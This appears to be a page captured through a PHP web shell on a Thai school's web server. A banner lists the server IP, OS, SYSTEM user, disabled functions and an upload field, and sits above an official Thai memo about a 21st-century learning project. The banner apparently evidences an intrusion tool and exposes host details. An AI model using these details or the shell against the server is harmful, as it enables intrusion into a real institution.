| Server IP : 172.67.187.206 / Your IP : 162.159.115.41 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myschool/suanphung/data/tkk2text/ |
Upload File : |
<p>เรียน ผู้อำนวยการโรงเรียนสวนผึ้งวิทยา</p> <p> ด้วย สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน มีนโยบายในการพัฒนาผู้เรียนให้มีคุณลักษณะ และทักษะการเรียนรูที่จำเป็น ในศตวรรษที่ ๒๑ และได้ดำเนินการโครงการพัฒนาการจัดการเรียนรูทั้งระบบสู่การยกระดับผลสัมฤทธิ์ทางการเรียนและการเตรียมผู้เรียนให้สอดคลองกับศตวรรษที่ ๒๑ ซึ่งสำนักงาน ก.พ.ร. กำหนดให้เป็นตัวชี้วัดของสำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน ตามมาตรการปรับปรุงประสิทธิภาพในการปฏิบัติราชการประจำปีงบประมาณ พุทธศักราช 2564 ตัวชี้วัดที่ 1 ระดับความสำเร็จของการดำเนินโครงการส่งเสริมผู้เรียนให้มีคุณลักษณะและทักษะการเรียนรู้ในศตวรรษที่ 21 อันเป็นโครงการต่อเนื่องจากปีงบประมาณ 2563 เพื่อมุ่งหวังให้สถานศึกษาสามารถจัดกิจกรรมพัฒนาเทคนิค/วิธีการจัดการเรียนรู้การพัฒนาสื่อ นวัตกรรม ที่สอดคลองกับคุณลักษณะและทักษะการเรียนรู้ในศตวรรษที่ ๒๑ ในระดับสถานศึกษา เช่น การทำวิจัยชั้นเรียนการพัฒนาสื่อ นวัตกรรม เทคนิค/วิธีการจัดการเรียนรูกิจกรรม PLC ฯลฯ โดยเน้นไม่ใช้วิธีจัดประชุม/อบรม โดยให้ศึกษานิเทศกดำเนินการนิเทศ ช่วยเหลือ และกระตุนครูผู้สอน ให้จัดกิจกรรมเพื่อสร้างนวัตกรรม จากห้องเรียน โดยคำนึงถึงบริบทความต้องการจำเป็นของแต่ละพื้นที่ (Area-based Education) อย่างแท้จริง</p> <p> ในการนี้ สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรีได้รับการตอบกลับเข้าร่วมโครงการดังกล่าว ตามแบบตอบรับใน Google Form ที่ให้ไว้ตั้งแต่วันที่ 1 มีนาคม 2564 แล้วเพื่อให้การดำเนินโครงการเป็นไปตามเป้าหมาย และวัตถุประสงค์ จึงขอแจ้งแนวทางการดำเนินโครงการพัฒนาการจัดการเรียนรู้ทั้งระบบสู่การยกระดับผลสัมฤทธิ์ ทางการเรียนและการเตรียมผู้เรียนให้สอดคลองกับศตวรรษที่ 21 เพื่อเป็นข้อมูลเบื้องต้นในการเตรียมดำเนินการและเตรียมความพร้อมในการรายงานผลตามช่วงเวลาและแบบฟอร์มที่สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐานกำหนด</p> <p> จึงเรียนมาเพื่อโปรดทราบและดำเนินการต่อไป </p>